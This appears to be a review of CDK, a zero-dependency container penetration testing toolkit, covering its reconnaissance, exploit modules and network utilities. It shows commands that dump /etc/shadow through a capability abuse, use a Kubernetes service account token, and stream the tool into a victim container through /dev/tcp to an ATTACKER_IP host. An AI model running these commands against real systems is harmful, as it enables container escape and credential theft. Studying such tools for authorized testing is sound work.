CDK: The Zero-Dependency Toolkit Redefining Container Penetration Testing
Hook
What do you do when you’ve compromised a distroless container that has no shell, no curl, no network utilities—basically nothing but your application binary? Traditional penetration testing stops dead, but CDK is just getting started.
Context
Container security has a fundamental testing problem: the very practices that harden containers—removing shells, stripping utilities, using distroless base images—also make security assessment nearly impossible. A pentester who gains RCE in a traditional Linux system has bash, curl, netcat, and decades of exploitation tools at their disposal. But gain RCE in a production Kubernetes pod running a distroless image, and you’ll find yourself in an environment so minimal that even basic reconnaissance becomes a challenge.
CDK emerged from this friction point. Built by security researchers who encountered this testing gap repeatedly during cloud-native assessments, it’s a single statically-compiled Go binary that bundles reconnaissance capabilities, exploitation scripts, and reimplemented network utilities. Drop it into any container—regardless of base image, installed packages, or available shell—and it immediately provides a full penetration testing environment. It’s the answer to the question: “How do we test container security when containers are designed to prevent exactly the tools we need for testing?”
Technical Insight
CDK’s architecture is deceptively simple: it’s a monolithic Go binary with three operational modes accessed through subcommands. The evaluate mode performs automated reconnaissance, the run mode executes specific exploits, and a collection of reimplemented Unix utilities handle networking and API interaction. But the elegance lies in how these modes work together.
The evaluation workflow demonstrates this synergy. When you execute cdk eva --full, it doesn’t just dump system information—it builds a threat model specific to your container’s configuration:
./cdk eva --full
[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host.
Use 'cdk run cap-dac-read-search' for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via
loading kernel module.
Critical - SYS_ADMIN Capability Found. Try 'cdk run
rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
Under the hood, CDK is inspecting /proc/self/status for capability bounding sets, parsing mount tables to detect dangerous volume mounts (like /var/run/docker.sock or host paths), checking for Kubernetes service account tokens, and probing cloud provider metadata APIs. It’s correlating findings to suggest specific attack paths—not just reporting that CAP_DAC_READ_SEARCH exists, but immediately recommending the exploit module that weaponizes it.
The exploit execution model is where CDK’s Go foundation shines. Take the cap-dac-read-search exploit, which abuses the DAC_READ_SEARCH capability to read arbitrary files from the host filesystem:
./cdk run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$kQCQjEO5$BkF...truncated...:19173:0:99999:7:::
root:*:18659:0:99999:7:::
This exploit works by opening file descriptors through the /proc/ pseudo-filesystem, leveraging the capability to bypass discretionary access controls. Because it’s compiled Go code rather than a shell script calling external binaries, it works identically whether the container has bash, sh, or no shell at all. The entire exploitation logic—identifying the host filesystem, navigating namespace boundaries, reading protected files—is embedded in the binary.
CDK’s reimplemented utilities solve another critical problem: network reconnaissance in locked-down environments. The kcurl command makes authenticated requests to the Kubernetes API server:
./cdk kcurl /var/run/secrets/kubernetes.io/serviceaccount/token \
get /api/v1/namespaces/default/pods
CDK implements an HTTP client in Go that reads the service account token from the standard Kubernetes mount point and constructs authenticated requests to the API server—all without requiring curl, openssl, or even ca-certificates to be installed. Similarly, ucurl provides the same capability for Docker Unix sockets, enabling container-to-daemon attacks even when standard tools are absent.
The probe utility showcases Go’s concurrency model applied to reconnaissance:
./cdk probe 10.0.1.0-255 80,8080-9443 50 1000
This TCP port scanner uses goroutines to parallelize connection attempts across IP ranges and port lists, with the third parameter controlling concurrency (50 simultaneous connections) and the fourth setting timeout in milliseconds.
Perhaps most impressive is CDK’s delivery mechanism for constrained scenarios, documented in the README for environments where file upload isn’t available but RCE is:
# On attacker host with public IP
nc -lvp 999 < cdk
# In victim container (via RCE)
cat < /dev/tcp/ATTACKER_IP/999 > cdk
chmod a+x cdk
This uses bash’s built-in /dev/tcp pseudo-device to stream the binary over a raw TCP connection—no wget, no curl, no external utilities required.
Gotcha
CDK’s monolithic design is both its strength and its Achilles’ heel. Because exploits are compiled into the binary, updating the toolkit means replacing the entire executable. If a new container escape CVE drops tomorrow, you can’t just download a plugin—you’re waiting for the maintainers to incorporate it and cut a new release. This contrasts with modular frameworks like Metasploit where you can add individual exploit modules.
The exploit catalog, while impressive, is heavily skewed toward capability abuse and mount-based escapes. If your target container is genuinely well-configured—no dangerous capabilities, no sensitive mounts, no service account with excessive RBAC permissions—CDK’s offensive utility drops significantly. It excels at finding and exploiting misconfigurations but offers less value against hardened containers following security best practices. The tool assumes defenders made mistakes; if they didn’t, you’ll need to look elsewhere.
Detection is another consideration not covered in the documentation. Container security platforms and runtime security monitoring may detect many of CDK’s techniques, particularly kernel module loading exploits and cgroup manipulation attacks. This isn’t a criticism of CDK itself—any penetration testing tool should be detectable—but operators should understand that this isn’t necessarily a stealthy option for red team engagements requiring operational security.
Verdict
Use CDK if you’re conducting authorized penetration tests against Kubernetes clusters or containerized applications, especially when dealing with hardened, minimal, or distroless containers that break traditional tooling. It’s invaluable for bug bounty programs with container scope, security validation of cluster hardening measures, or red team exercises where you need to demonstrate realistic escape vectors from compromised workloads. The zero-dependency design makes it the only viable option in many restricted environments. Skip CDK if you need defensive security tooling—it offers no remediation guidance, compliance scanning, or blue team capabilities. Also skip it for CTF-style challenges where you have shell access and traditional tools work fine; CDK solves a production-environment problem, not a learning exercise. Most importantly, skip it entirely without explicit authorization—the legal disclaimer in the README isn’t boilerplate, and unauthorized use against production systems is both illegal and unethical. This is a scalpel for authorized security assessment, not a toy for experimentation on systems you don’t own.